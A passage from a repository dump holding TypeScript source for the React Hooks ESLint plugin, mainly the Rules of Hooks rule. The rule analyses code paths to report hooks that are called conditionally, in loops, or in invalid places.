getDependency(node: Node): Node {\n  if (\n    node.parent &&\n    (node.parent.type === 'MemberExpression' ||\n      node.parent.type === 'OptionalMemberExpression') &&\n    node.parent.object === node &&\n    'name' in node.parent.property &&\n    node.parent.property.name !== 'current' &&\n    !node.parent.computed &&\n    !(\n      node.parent.parent != null &&\n      (node.parent.parent.type === 'CallExpression' ||\n        node.parent.parent.type === 'OptionalCallExpression') &&\n      node.parent.parent.callee === node.parent\n    )\n  ) {\n    return getDependency(node.parent);\n  } else if (\n    // Note: we don't check OptionalMemberExpression because it can't be LHS.\n    node.type === 'MemberExpression' &&\n    node.parent &&\n    node.parent.type === 'AssignmentExpression' &&\n    node.parent.left === node\n  ) {\n    return node.object;\n  } else {\n    return node;\n  }\n}\n\n/**\n * Mark a node as either optional or required.\n * Note: If the node argument is an OptionalMemberExpression, it doesn't necessarily mean it is optional.\n * It just means there is an optional member somewhere inside.\n * This particular node might still represent a required member, so check .optional field.\n */\nfunction markNode(\n  node: Node,\n  optionalChains: Map<string, boolean> | null,\n  result: string,\n): void {\n  if (optionalChains) {\n    if ('optional' in node && node.optional) {\n      // We only want to consider it optional if *all* usages were optional.\n      if (!optionalChains.has(result)) {\n        // Mark as (maybe) optional. If there's a required usage, this will be overridden.\n        optionalChains.set(result, true);\n      }\n    } else {\n      // Mark as required.\n      optionalChains.set(result, false);\n    }\n  }\n}\n\n/**\n * Assuming () means the passed node.\n * (foo) -> 'foo'\n * foo(.)bar -> 'foo.bar'\n * foo.bar(.)baz -> 'foo.bar.baz'\n * Otherwise throw.\n */\nfunction analyzePropertyChain(\n  node: Node,\n  optionalChains: Map<string, boolean> | null,\n): string {\n  if (node.type === 'Identifier' || node.type === 'JSXIdentifier') {\n    const result = node.name;\n    if (optionalChains) {\n      // Mark as required.\n      optionalChains.set(result, false);\n    }\n    return result;\n  } else if (node.type === 'MemberExpression' && !node.computed) {\n    const object = analyzePropertyChain(node.object, optionalChains);\n    const property = analyzePropertyChain(node.property, null);\n    const result = `${object}.${property}`;\n    markNode(node, optionalChains, result);\n    return result;\n  } else if (node.type === 'OptionalMemberExpression' && !node.computed) {\n    const object = analyzePropertyChain(node.object, optionalChains);\n    const property = analyzePropertyChain(node.property, null);\n    const result = `${object}.${property}`;\n    markNode(node, optionalChains, result);\n    return result;\n  } else if (\n    node.type === 'ChainExpression' &&\n    (!('computed' in node) || !node.computed)\n  ) {\n    const expression = node.expression;\n\n    if (expression.type === 'CallExpression') {\n      throw new Error(`Unsupported node type: ${expression.type}`);\n    }\n\n    const object = analyzePropertyChain(expression.object, optionalChains);\n    const property = analyzePropertyChain(expression.property, null);\n    const result = `${object}.${property}`;\n    markNode(expression, optionalChains, result);\n    return result;\n  } else {\n    throw new Error(`Unsupported node type: ${node.type}`);\n  }\n}\n\nfunction getNodeWithoutReactNamespace(\n  node: Expression | Super,\n): Expression | Identifier | Super {\n  if (\n    node.type === 'MemberExpression' &&\n    node.object.type === 'Identifier' &&\n    node.object.name === 'React' &&\n    node.property.type === 'Identifier' &&\n    !node.computed\n  ) {\n    return node.property;\n  }\n  return node;\n}\n\n// What's the index of callback that needs to be analyzed for a given Hook?\n// -1 if it's not a Hook we care about (e.g. useState).\n// 0 for useEffect/useMemo/useCallback(fn).\n// 1 for useImperativeHandle(ref, fn).\n// For additionally configured Hooks, assume that they're like useEffect (0).\nfunction getReactiveHookCallbackIndex(\n  calleeNode: Expression | Super,\n  options?: {\n    additionalHooks: RegExp | undefined;\n    enableDangerousAutofixThisMayCauseInfiniteLoops?: boolean;\n  },\n): 0 | -1 | 1 {\n  const node = getNodeWithoutReactNamespace(calleeNode);\n  if (node.type !== 'Identifier') {\n    return -1;\n  }\n  switch (node.name) {\n    case 'useEffect':\n    case 'useLayoutEffect':\n    case 'useCallback':\n    case 'useMemo':\n      // useEffect(fn)\n      return 0;\n    case 'useImperativeHandle':\n      // useImperativeHandle(ref, fn)\n      return 1;\n    default:\n      if (node === calleeNode && options && options.additionalHooks) {\n        // Allow the user to provide a regular expression which enables the lint to\n        // target custom reactive hooks.\n        let name;\n        try {\n          name = analyzePropertyChain(node, null);\n        } catch (error: unknown) {\n          if (\n            error instanceof Error &&\n            /Unsupported node type/.test(error.message)\n          ) {\n            return 0;\n          } else {\n            throw error;\n          }\n        }\n        return options.additionalHooks.test(name) ? 0 : -1;\n      } else {\n        return -1;\n      }\n  }\n}\n\n/**\n * ESLint won't assign node.parent to references from context.getScope()\n *\n * So instead we search for the node from an ancestor assigning node.parent\n * as we go. This mutates the AST.\n *\n * This traversal is:\n * - optimized by only searching nodes with a range surrounding our target node\n * - agnostic to AST node types, it looks for `{ type: string, ... }`\n */\nfunction fastFindReferenceWithParent(start: Node, target: Node): Node | null {\n  const queue = [start];\n  let item: Node;\n\n  while (queue.length) {\n    item = queue.shift() as Node;\n\n    if (isSameIdentifier(item, target)) {\n      return item;\n    }\n\n    if (!isAncestorNodeOf(item, target)) {\n      continue;\n    }\n\n    for (const [key, value] of Object.entries(item)) {\n      if (key === 'parent') {\n        continue;\n      }\n      if (isNodeLike(value)) {\n        value.parent = item;\n        queue.push(value);\n      } else if (Array.isArray(value)) {\n        value.forEach(val => {\n          if (isNodeLike(val)) {\n            val.parent = item;\n            queue.push(val);\n          }\n        });\n      }\n    }\n  }\n\n  return null;\n}\n\nfunction joinEnglish(arr: Array<string>): string {\n  let s = '';\n  for (let i = 0; i < arr.length; i++) {\n    s += arr[i];\n    if (i === 0 && arr.length === 2) {\n      s += ' and ';\n    } else if (i === arr.length - 2 && arr.length > 2) {\n      s += ', and ';\n    } else if (i < arr.length - 1) {\n      s += ', ';\n    }\n  }\n  return s;\n}\n\nfunction isNodeLike(val: unknown): boolean {\n  return (\n    typeof val === 'object' &&\n    val !== null &&\n    !Array.isArray(val) &&\n    'type' in val &&\n    typeof val.type === 'string'\n  );\n}\n\nfunction isSameIdentifier(a: Node, b: Node): boolean {\n  return (\n    (a.type === 'Identifier' || a.type === 'JSXIdentifier') &&\n    a.type === b.type &&\n    a.name === b.name &&\n    !!a.range &&\n    !!b.range &&\n    a.range[0] === b.range[0] &&\n    a.range[1] === b.range[1]\n  );\n}\n\nfunction isAncestorNodeOf(a: Node, b: Node): boolean {\n  return (\n    !!a.range &&\n    !!b.range &&\n    a.range[0] <= b.range[0] &&\n    a.range[1] >= b.range[1]\n  );\n}\n\nfunction isUseEffectEventIdentifier(node: Node): boolean {\n  return node.type === 'Identifier' && node.name === 'useEffectEvent';\n}\n\nfunction getUnknownDependenciesMessage(reactiveHookName: string): string {\n  return (\n    `React Hook ${reactiveHookName} received a function whose dependencies ` +\n    `are unknown. Pass an inline function instead.`\n  );\n}\n\nexport default rule;\n"
  },
  {
    "path": "packages/eslint-plugin-react-hooks/src/rules/RulesOfHooks.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n/* eslint-disable no-for-of-loops/no-for-of-loops */\n\nimport type {Rule, Scope} from 'eslint';\nimport type {\n  CallExpression,\n  CatchClause,\n  DoWhileStatement,\n  Expression,\n  Identifier,\n  Node,\n  Super,\n  TryStatement,\n} from 'estree';\n\n// @ts-expect-error untyped module\nimport CodePathAnalyzer from '../code-path-analysis/code-path-analyzer';\nimport {getAdditionalEffectHooksFromSettings} from '../shared/Utils';\n\n/**\n * Catch all identifiers that begin with \"use\" followed by an uppercase Latin\n * character to exclude identifiers like \"user\".\n */\nfunction isHookName(s: string): boolean {\n  return s === 'use' || /^use[A-Z0-9]/.test(s);\n}\n\n/**\n * We consider hooks to be a hook name identifier or a member expression\n * containing a hook name.\n */\nfunction isHook(node: Node): boolean {\n  if (node.type === 'Identifier') {\n    return isHookName(node.name);\n  } else if (\n    node.type === 'MemberExpression' &&\n    !node.computed &&\n    isHook(node.property)\n  ) {\n    const obj = node.object;\n    const isPascalCaseNameSpace = /^[A-Z].*/;\n    return obj.type === 'Identifier' && isPascalCaseNameSpace.test(obj.name);\n  } else {\n    return false;\n  }\n}\n\n/**\n * Checks if the node is a React component name. React component names must\n * always start with an uppercase letter.\n */\nfunction isComponentName(node: Node): boolean {\n  return node.type === 'Identifier' && /^[A-Z]/.test(node.name);\n}\n\nfunction isReactFunction(node: Node, functionName: string): boolean {\n  return (\n    ('name' in node && node.name === functionName) ||\n    (node.type === 'MemberExpression' &&\n      'name' in node.object &&\n      node.object.name === 'React' &&\n      'name' in node.property &&\n      node.property.name === functionName)\n  );\n}\n\n/**\n * Checks if the node is a callback argument of forwardRef. This render function\n * should follow the rules of hooks.\n */\nfunction isForwardRefCallback(node: Node): boolean {\n  return !!(\n    node.parent &&\n    'callee' in node.parent &&\n    node.parent.callee &&\n    isReactFunction(node.parent.callee, 'forwardRef')\n  );\n}\n\n/**\n * Checks if the node is a callback argument of React.memo. This anonymous\n * functional component should follow the rules of hooks.\n */\nfunction isMemoCallback(node: Node): boolean {\n  return !!(\n    node.parent &&\n    'callee' in node.parent &&\n    node.parent.callee &&\n    isReactFunction(node.parent.callee, 'memo')\n  );\n}\n\nfunction isInsideComponentOrHook(node: Node | undefined): boolean {\n  while (node) {\n    const functionName = getFunctionName(node);\n    if (functionName) {\n      if (isComponentName(functionName) || isHook(functionName)) {\n        return true;\n      }\n    }\n    if (isForwardRefCallback(node) || isMemoCallback(node)) {\n      return true;\n    }\n    node = node.parent;\n  }\n  return false;\n}\n\nfunction isInsideDoWhileLoop(node: Node | undefined): node is DoWhileStatement {\n  while (node) {\n    if (node.type === 'DoWhileStatement') {\n      return true;\n    }\n    node = node.parent;\n  }\n  return false;\n}\n\nfunction isInsideTryCatch(\n  node: Node | undefined,\n): node is TryStatement | CatchClause {\n  while (node) {\n    if (node.type === 'TryStatement' || node.type === 'CatchClause') {\n      return true;\n    }\n    node = node.parent;\n  }\n  return false;\n}\n\nfunction getNodeWithoutReactNamespace(\n  node: Expression | Super,\n): Expression | Identifier | Super {\n  if (\n    node.type === 'MemberExpression' &&\n    node.object.type === 'Identifier' &&\n    node.object.name === 'React' &&\n    node.property.type === 'Identifier' &&\n    !node.computed\n  ) {\n    return node.property;\n  }\n  return node;\n}\n\nfunction isEffectIdentifier(node: Node, additionalHooks?: RegExp): boolean {\n  const isBuiltInEffect =\n    node.type === 'Identifier' &&\n    (node.name === 'useEffect' ||\n      node.name === 'useLayoutEffect' ||\n      node.name === 'useInsertionEffect');\n\n  if (isBuiltInEffect) {\n    return true;\n  }\n\n  // Check if this matches additional hooks configured by the user\n  if (additionalHooks && node.type === 'Identifier') {\n    return additionalHooks.test(node.name);\n  }\n\n  return false;\n}\n\nfunction isUseEffectEventIdentifier(node: Node): boolean {\n  return node.type === 'Identifier' && node.name === 'useEffectEvent';\n}\n\nfunction useEffectEventError(fn: string | null, called: boolean): string {\n  // no function identifier, i.e. it is not assigned to a variable\n  if (fn === null) {\n    return (\n      `React Hook \"useEffectEvent\" can only be called at the top level of your component.` +\n      ` It cannot be passed down.`\n    );\n  }\n\n  return (\n    `\\`${fn}\\` is a function created with React Hook \"useEffectEvent\", and can only be called from ` +\n    'Effects and Effect Events in the same component.' +\n    (called ? '' : ' It cannot be assigned to a variable or passed down.')\n  );\n}\n\nfunction isUseIdentifier(node: Node): boolean {\n  return isReactFunction(node, 'use');\n}\n\nconst rule = {\n  meta: {\n    type: 'problem',\n    docs: {\n      description: 'enforces the Rules of Hooks',\n      recommended: true,\n      url: 'https://react.dev/reference/rules/rules-of-hooks',\n    },\n    schema: [\n      {\n        type: 'object',\n        additionalProperties: false,\n        properties: {\n          additionalHooks: {\n            type: 'string',\n          },\n        },\n      },\n    ],\n  },\n  create(context: Rule.RuleContext) {\n    const settings = context.settings || {};\n\n    const additionalEffectHooks =\n      getAdditionalEffectHooksFromSettings(settings);\n\n    let lastEffect: CallExpression | null = null;\n    const codePathReactHooksMapStack: Array<\n      Map<Rule.CodePathSegment, Array<Node>>\n    > = [];\n    const codePathSegmentStack: Array<Rule.CodePathSegment> = [];\n    const useEffectEventFunctions = new WeakSet();\n\n    // For a given scope, iterate through the references and add all useEffectEvent definitions. We can\n    // do this in non-Program nodes because we can rely on the assumption that useEffectEvent functions\n    // can only be declared within a component or hook at its top level.\n    function recordAllUseEffectEventFunctions(scope: Scope.Scope): void {\n      for (const reference of scope.references) {\n        const parent = reference.identifier.parent;\n        if (\n          parent?.type === 'VariableDeclarator' &&\n          parent.init &&\n          parent.init.type === 'CallExpression' &&\n          parent.init.callee &&\n          isUseEffectEventIdentifier(parent.init.callee)\n        ) {\n          if (reference.resolved === null) {\n            throw new Error('Unexpected null reference.resolved');\n          }\n          for (const ref of reference.resolved.references) {\n            if (ref !== reference) {\n              useEffectEventFunctions.add(ref.identifier);\n            }\n          }\n        }\n      }\n    }\n\n    /**\n     * SourceCode that also works down to ESLint 3.0.0\n     */\n    const getSourceCode =\n      typeof context.getSourceCode === 'function'\n        ? () => {\n            return context.getSourceCode();\n          }\n        : () => {\n            return context.sourceCode;\n          };\n    /**\n     * SourceCode#getScope that also works down to ESLint 3.0.0\n     */\n    const getScope =\n      typeof context.getScope === 'function'\n        ? (): Scope.Scope => {\n            return context.getScope();\n          }\n        : (node: Node): Scope.Scope => {\n            return getSourceCode().getScope(node);\n          };\n\n    function hasFlowSuppression(node: Node, suppression: string) {\n      const sourceCode = getSourceCode();\n      const comments = sourceCode.getAllComments();\n      const flowSuppressionRegex = new RegExp(\n        '\\\\$FlowFixMe\\\\[' + suppression + '\\\\]',\n      );\n      return comments.some(\n        commentNode =>\n          flowSuppressionRegex.test(commentNode.value) &&\n          commentNode.loc != null &&\n          node.loc != null &&\n          commentNode.loc.end.line === node.loc.start.line - 1,\n      );\n    }\n\n    const analyzer = new CodePathAnalyzer({\n      // Maintain code segment path stack as we traverse.\n      onCodePathSegmentStart: (segment: Rule.CodePathSegment) =>\n        codePathSegmentStack.push(segment),\n      onCodePathSegmentEnd: () => codePathSegmentStack.pop(),\n\n      // Maintain code path stack as we traverse.\n      onCodePathStart: () =>\n        codePathReactHooksMapStack.push(\n          new Map<Rule.CodePathSegment, Array<Node>>(),\n        ),\n\n      // Process our code path.\n      //\n      // Everything is ok if all React Hooks are both reachable from the initial\n      // segment and reachable from every final segment.\n      onCodePathEnd(codePath: any, codePathNode: Node) {\n        const reactHooksMap = codePathReactHooksMapStack.pop();\n        if (reactHooksMap?.size === 0) {\n          return;\n        } else if (typeof reactHooksMap === 'undefined') {\n          throw new Error('Unexpected undefined reactHooksMap');\n        }\n\n        // All of the segments which are cyclic are recorded in this set.\n        const cyclic = new Set();\n\n        /**\n         * Count the number of code paths from the start of the function to this\n         * segment. For example:\n         *\n         * ```js\n         * function MyComponent() {\n         *   if (condition) {\n         *     // Segment 1\n         *   } else {\n         *     // Segment 2\n         *   }\n         *   // Segment 3\n         * }\n         * ```\n         *\n         * Segments 1 and 2 have one path to the beginning of `MyComponent` and\n         * segment 3 has two paths to the beginning of `MyComponent` since we\n         * could have either taken the path of segment 1 or segment 2.\n         *\n         * Populates `cyclic` with cyclic segments.\n         */\n        function countPathsFromStart(\n          segment: Rule.CodePathSegment,\n          pathHistory?: Set<string>,\n        ): bigint {\n          const {cache} = countPathsFromStart;\n          let paths = cache.get(segment.id);\n          const pathList = new Set<string>(pathHistory);\n\n          // If `pathList` includes the current segment then we've found a cycle!\n          // We need to fill `cyclic` with all segments inside cycle\n          if (pathList.has(segment.id)) {\n            const pathArray = [...pathList];\n            const cyclicSegments = pathArray.slice(\n              pathArray.indexOf(segment.id) + 1,\n            );\n            for (const cyclicSegment of cyclicSegments) {\n              cyclic.add(cyclicSegment);\n            }\n\n            return BigInt('0');\n          }\n\n          // add the current segment to pathList\n          pathList.add(segment.id);\n\n          // We have a cached `paths`. Return it.\n          if (paths !== undefined) {\n            return paths;\n          }\n\n          if (codePath.thrownSegments.includes(segment)) {\n            paths = BigInt('0');\n          } else if (segment.prevSegments.length === 0) {\n            paths = BigInt('1');\n          } else {\n            paths = BigInt('0');\n            for (const prevSegment of segment.prevSegments) {\n              paths += countPathsFromStart(prevSegment, pathList);\n            }\n          }\n\n          // If our segment is reachable then there should be at least one path\n          // to it from the start of our code path.\n          if (segment.reachable && paths === BigInt('0')) {\n            cache.delete(segment.id);\n          } else {\n            cache.set(segment.id, paths);\n          }\n\n          return paths;\n        }\n\n        /**\n         * Count the number of code paths from this segment to the end of the\n         * function. For example:\n         *\n         * ```js\n         * function MyComponent() {\n         *   // Segment 1\n         *   if (condition) {\n         *     // Segment 2\n         *   } else {\n         *     // Segment 3\n         *   }\n         * }\n         * ```\n         *\n         * Segments 2 and 3 have one path to the end of `MyComponent` and\n         * segment 1 has two paths to the end of `MyComponent` since we could\n         * either take the path of segment 1 or segment 2.\n         *\n         * Populates `cyclic` with cyclic segments.\n         */\n\n        function countPathsToEnd(\n          segment: Rule.CodePathSegment,\n          pathHistory?: Set<string>,\n        ): bigint {\n          const {cache} = countPathsToEnd;\n          let paths = cache.get(segment.id);\n          const pathList = new Set(pathHistory);\n\n          // If `pathList` includes the current segment then we've found a cycle!\n          // We need to fill `cyclic` with all segments inside cycle\n          if (pathList.has(segment.id)) {\n            const pathArray = Array.from(pathList);\n            const cyclicSegments = pathArray.slice(\n              pathArray.indexOf(segment.id) + 1,\n            );\n            for (const cyclicSegment of cyclicSegments) {\n              cyclic.add(cyclicSegment);\n            }\n\n            return BigInt('0');\n          }\n\n          // add the current segment to pathList\n          pathList.add(segment.id);\n\n          // We have a cached `paths`. Return it.\n          if (paths !== undefined) {\n            return paths;\n          }\n\n          if (codePath.thrownSegments.includes(segment)) {\n            paths = BigInt('0');\n          } else if (segment.nextSegments.length === 0) {\n            paths = BigInt('1');\n          } else {\n            paths = BigInt('0');\n            for (const nextSegment of segment.nextSegments) {\n              paths += countPathsToEnd(nextSegment, pathList);\n            }\n          }\n\n          cache.set(segment.id, paths);\n          return paths;\n        }\n\n        /**\n         * Gets the shortest path length to the start of a code path.\n         * For example:\n         *\n         * ```js\n         * function MyComponent() {\n         *   if (condition) {\n         *     // Segment 1\n         *   }\n         *   // Segment 2\n         * }\n         * ```\n         *\n         * There is only one path from segment 1 to the code path start. Its\n         * length is one so that is the shortest path.\n         *\n         * There are two paths from segment 2 to the code path start. One\n         * through segment 1 with a length of two and another directly to the\n         * start with a length of one. The shortest path has a length of one\n         * so we would return that.\n         */\n\n        function shortestPathLengthToStart(\n          segment: Rule.CodePathSegment,\n        ): number {\n          const {cache} = shortestPathLengthToStart;\n          let length = cache.get(segment.id);\n\n          // If `length` is null then we found a cycle! Return infinity since\n          // the shortest path is definitely not the one where we looped.\n          if (length === null) {\n            return Infinity;\n          }\n\n          // We have a cached `length`. Return it.\n          if (length !== undefined) {\n            return length;\n          }\n\n          // Compute `length` and cache it. Guarding against cycles.\n          cache.set(segment.id, null);\n          if (segment.prevSegments.length === 0) {\n            length = 1;\n          } else {\n            length = Infinity;\n            for (const prevSegment of segment.prevSegments) {\n              const prevLength = shortestPathLengthToStart(prevSegment);\n              if (prevLength < length) {\n                length = prevLength;\n              }\n            }\n            length += 1;\n          }\n          cache.set(segment.id, length);\n          return length;\n        }\n\n        countPathsFromStart.cache = new Map<string, bigint>();\n        countPathsToEnd.cache = new Map<string, bigint>();\n        shortestPathLengthToStart.cache = new Map<string, number | null>();\n\n        // Count all code paths to the end of our component/hook. Also primes\n        // the `countPathsToEnd` cache.\n        const allPathsFromStartToEnd = countPathsToEnd(codePath.initialSegment);\n\n        // Gets the function name for our code path. If the function name is\n        // `undefined` then we know either that we have an anonymous function\n        // expression or our code path is not in a function. In both cases we\n        // will want to error since neither are React function components or\n        // hook functions - unless it is an anonymous function argument to\n        // forwardRef or memo.\n        const codePathFunctionName = getFunctionName(codePathNode);\n\n        // This is a valid code path for React hooks if we are directly in a React\n        // function component or we are in a hook function.\n        const isSomewhereInsideComponentOrHook =\n          isInsideComponentOrHook(codePathNode);\n        const isDirectlyInsideComponentOrHook = codePathFunctionName\n          ? isComponentName(codePathFunctionName) ||\n            isHook(codePathFunctionName)\n          : isForwardRefCallback(codePathNode) || isMemoCallback(codePathNode);\n\n        // Compute the earliest finalizer level using information from the\n        // cache. We expect all reachable final segments to have a cache entry\n        // after calling `visitSegment()`.\n        let shortestFinalPathLength = Infinity;\n        for (const finalSegment of codePath.finalSegments) {\n          if (!finalSegment.reachable) {\n            continue;\n          }\n          const length = shortestPathLengthToStart(finalSegment);\n          if (length < shortestFinalPathLength) {\n            shortestFinalPathLength = length;\n          }\n        }\n\n        // Make sure all React Hooks pass our lint invariants. Log warnings\n        // if not.\n        for (const [segment, reactHooks] of reactHooksMap) {\n          // NOTE: We could report here that the hook is not reachable, but\n          // that would be redundant with more general \"no unreachable\"\n          // lint rules.\n          if (!segment.reachable) {\n            continue;\n          }\n\n          // If there are any final segments with a shorter path to start then\n          // we possibly have an early return.\n          //\n          // If our segment is a final segment itself then siblings could\n          // possibly be early returns.\n          const possiblyHasEarlyReturn =\n            segment.nextSegments.length === 0\n              ? shortestFinalPathLength <= shortestPathLengthToStart(segment)\n              : shortestFinalPathLength < shortestPathLengthToStart(segment);\n\n          // Count all the paths from the start of our code path to the end of\n          // our code path that go _through_ this segment. The critical piece\n          // of this is _through_. If we just call `countPathsToEnd(segment)`\n          // then we neglect that we may have gone through multiple paths to get\n          // to this point! Consider:\n          //\n          // ```js\n          // function MyComponent() {\n          //   if (a) {\n          //     // Segment 1\n          //   } else {\n          //     // Segment 2\n          //   }\n          //   // Segment 3\n          //   if (b) {\n          //     // Segment 4\n          //   } else {\n          //     // Segment 5\n          //   }\n          // }\n          // ```\n          //\n          // In this component we have four code paths:\n          //\n          // 1. `a = true; b = true`\n          // 2. `a = true; b = false`\n          // 3. `a = false; b = true`\n          // 4. `a = false; b = false`\n          //\n          // From segment 3 there are two code paths to the end through segment\n          // 4 and segment 5. However, we took two paths to get here through\n          // segment 1 and segment 2.\n          //\n          // If we multiply the paths from start (two) by the paths to end (two)\n          // for segment 3 we get four. Which is our desired count.\n          const pathsFromStartToEnd =\n            countPathsFromStart(segment) * countPathsToEnd(segment);\n\n          // Is this hook a part of a cyclic segment?\n          const cycled = cyclic.has(segment.id);\n\n          for (const hook of reactHooks) {\n            // Skip reporting if this hook already has a relevant flow suppression.\n            if (hasFlowSuppression(hook, 'react-rule-hook')) {\n              continue;\n            }\n\n            // Report an error if use() is called inside try/catch.\n            if (isUseIdentifier(hook) && isInsideTryCatch(hook)) {\n              context.report({\n                node: hook,\n                message: `React Hook \"${getSourceCode().getText(\n                  hook,\n                )}\" cannot be called in a try/catch block.`,\n              });\n            }\n\n            // Report an error if a hook may be called more then once.\n            // `use(...)` can be called in loops.\n            if (\n              (cycled || isInsideDoWhileLoop(hook)) &&\n              !isUseIdentifier(hook)\n            ) {\n              context.report({\n                node: hook,\n                message:\n                  `React Hook \"${getSourceCode().getText(\n                    hook,\n                  )}\" may be executed ` +\n                  'more than once. Possibly because it is called in a loop. ' +\n                  'React Hooks must be called in the exact same order in ' +\n                  'every component render.',\n              });\n            }\n\n            // If this is not a valid code path for React hooks then we need to\n            // log a warning for every hook in this code path.\n            //\n            // Pick a special message depending on the scope this hook was\n            // called in.\n            if (isDirectlyInsideComponentOrHook) {\n              // Report an error if the hook is called inside an async function.\n              // @ts-expect-error the above check hasn't properly type-narrowed `codePathNode` (async doesn't exist on Node)\n              const isAsyncFunction = codePathNode.async;\n              if (isAsyncFunction) {\n                context.report({\n                  node: hook,\n                  message:\n                    `React Hook \"${getSourceCode().getText(hook)}\" cannot be ` +\n                    'called in an async function.',\n                });\n              }\n\n              // Report an error if a hook does not reach all finalizing code\n              // path segments.\n              //\n              // Special case when we think there might be an early return.\n              if (\n                !cycled &&\n                pathsFromStartToEnd !== allPathsFromStartToEnd &&\n                !isUseIdentifier(hook) && // `use(...)` can be called conditionally.\n                !isInsideDoWhileLoop(hook) // wrapping do/while loops are checked separately.\n              ) {\n                const message =\n                  `React Hook \"${getSourceCode().getText(hook)}\" is called ` +\n                  'conditionally. React Hooks must be called in the exact ' +\n                  'same order in every component render.' +\n                  (possiblyHasEarlyReturn\n                    ? ' Did you accidentally call a React Hook after an' +\n                      ' early return?'\n                    : '');\n                context.report({node: hook, message});\n              }\n            } else if (\n              codePathNode.parent != null &&\n              (codePathNode.parent.type === 'MethodDefinition' ||\n                // @ts-expect-error `ClassProperty` was removed from typescript-estree in https://github.com/typescript-eslint/typescript-eslint/pull/3806\n                codePathNode.parent.type === 'ClassProperty' ||\n                codePathNode.parent.type === 'PropertyDefinition') &&\n              codePathNode.parent.value === codePathNode\n            ) {\n              // Custom message for hooks inside a class\n              const message =\n                `React Hook \"${getSourceCode().getText(\n                  hook,\n                )}\" cannot be called ` +\n                'in a class component. React Hooks must be called in a ' +\n                'React function component or a custom React Hook function.';\n              context.report({node: hook, message});\n            } else if (codePathFunctionName) {\n              // Custom message if we found an invalid function name.\n              const message =\n                `React Hook \"${getSourceCode().getText(hook)}\" is called in ` +\n                `function \"${getSourceCode().getText(codePathFunctionName)}\" ` +\n                'that is neither a React function component nor a custom ' +\n                'React Hook function.' +\n                ' React component names must start with an uppercase letter.' +\n                ' React Hook names must start with the word \"use\".';\n              context.report({node: hook, message});\n            } else if (codePathNode.type === 'Program') {\n              // These are dangerous if you have inline requires enabled.\n              const message =\n                `React Hook \"${getSourceCode().getText(\n                  hook,\n                )}\" cannot be called ` +\n                'at the top level. React Hooks must be called in a ' +\n                'React function component or a custom React Hook function.';\n              context.report({node: hook, message});\n            } else {\n              // Assume in all other cases the user called a hook in some\n              // random function callback. This should usually be true for\n              // anonymous function expressions. Hopefully this is clarifying\n              // enough in the common case that the incorrect message in\n              // uncommon cases doesn't matter.\n              // `use(...)` can be called in callbacks.\n              if (isSomewhereInsideComponentOrHook && !isUseIdentifier(hook)) {\n                const message =\n                  `React Hook \"${getSourceCode().getText(\n                    hook,\n                  )}\" cannot be called ` +\n                  'inside a callback. React Hooks must be called in a ' +\n                  'React function component or a custom React Hook function.';\n                context.report({node: hook, message});\n              }\n            }\n          }\n        }\n      },\n    });\n\n    return {\n      '*'(node: any) {\n        analyzer.enterNode(node);\n      },\n\n      '*:exit'(node: any) {\n        analyzer.leaveNode(node);\n      },\n\n      // Missed opportunity...We could visit all `Identifier`s instead of all\n      // `CallExpression`s and check that _every use_ of a hook name is valid.\n      // But that gets complicated and enters type-system territory, so we're\n      // only being strict about hook calls for now.\n      CallExpression(node) {\n        if (isHook(node.callee)) {\n          // Add the hook node to a map keyed by the code path segment. We will\n          // do full code path analysis at the end of our code path.\n          const reactHooksMap = last(codePathReactHooksMapStack);\n          const codePathSegment = last(codePathSegmentStack);\n          let reactHooks = reactHooksMap.get(codePathSegment);\n          if (!reactHooks) {\n            reactHooks = [];\n            reactHooksMap.set(codePathSegment, reactHooks);\n          }\n          reactHooks.push(node.callee);\n        }\n\n        // useEffectEvent: useEffectEvent functions can be passed by reference within useEffect as well as in\n        // another useEffectEvent\n        // Check all `useEffect` and `React.useEffect`, `useEffectEvent`, and `React.useEffectEvent`\n        const nodeWithoutNamespace = getNodeWithoutReactNamespace(node.callee);\n        if (\n          (isEffectIdentifier(nodeWithoutNamespace, additionalEffectHooks) ||\n            isUseEffectEventIdentifier(nodeWithoutNamespace)) &&\n          node.arguments.length > 0\n        ) {\n          // Denote that we have traversed into a useEffect call, and stash the CallExpr for\n          // comparison later when we exit\n          lastEffect = node;\n        }\n\n        // Specifically disallow <Child onClick={useEffectEvent(...)} /> because this\n        // case can't be caught by `recordAllUseEffectEventFunctions` as it isn't assigned to a variable\n        if (\n          isUseEffectEventIdentifier(nodeWithoutNamespace) &&\n          node.parent?.type !== 'VariableDeclarator' &&\n          // like in other hooks, calling useEffectEvent at component's top level without assignment is valid\n          node.parent?.type !== 'ExpressionStatement'\n        ) {\n          const message = useEffectEventError(null, false);\n\n          context.report({\n            node,\n            message,\n          });\n        }\n      },\n\n      Identifier(node) {\n        // This identifier resolves to a useEffectEvent function, but isn't being referenced in an\n        // effect or another event function. It isn't being called either.\n        if (lastEffect == null && useEffectEventFunctions.has(node)) {\n          const message = useEffectEventError(\n            getSourceCode().getText(node),\n            node.parent.type === 'CallExpression',\n          );\n\n          context.report({\n            node,\n            message,\n          });\n        }\n      },\n\n      'CallExpression:exit'(node) {\n        if (node === lastEffect) {\n          lastEffect = null;\n        }\n      },\n\n      FunctionDeclaration(node) {\n        // function MyComponent() { const onClick = useEffectEvent(...) }\n        if (isInsideComponentOrHook(node)) {\n          recordAllUseEffectEventFunctions(getScope(node));\n        }\n      },\n\n      ArrowFunctionExpression(node) {\n        // const MyComponent = () => { const onClick = useEffectEvent(...) }\n        if (isInsideComponentOrHook(node)) {\n          recordAllUseEffectEventFunctions(getScope(node));\n        }\n      },\n\n      // @ts-expect-error parser-hermes produces these node types\n      ComponentDeclaration(node) {\n        // component MyComponent() { const onClick = useEffectEvent(...) }\n        recordAllUseEffectEventFunctions(getScope(node));\n      },\n\n      // @ts-expect-error parser-hermes produces these node types\n      HookDeclaration(node) {\n        // hook useMyHook() { const onClick = useEffectEvent(...) }\n        recordAllUseEffectEventFunctions(getScope(node));\n      },\n    };\n  },\n} satisfies Rule.RuleModule;\n\n/**\n * Gets the static name of a function AST node. For function declarations it is\n * easy. For anonymous function expressions it is much harder. If you search for\n * `IsAnonymousFunctionDefinition()` in the ECMAScript spec you'll find places\n * where JS gives anonymous function expressions names. We roughly detect the\n * same AST nodes with some exceptions to better fit our use case.\n */\n\nfunction getFunctionName(node: Node) {\n  if (\n    // @ts-expect-error parser-hermes produces these node types\n    node.type === 'ComponentDeclaration' ||\n    // @ts-expect-error parser-hermes produces these node types\n    node.type === 'HookDeclaration' 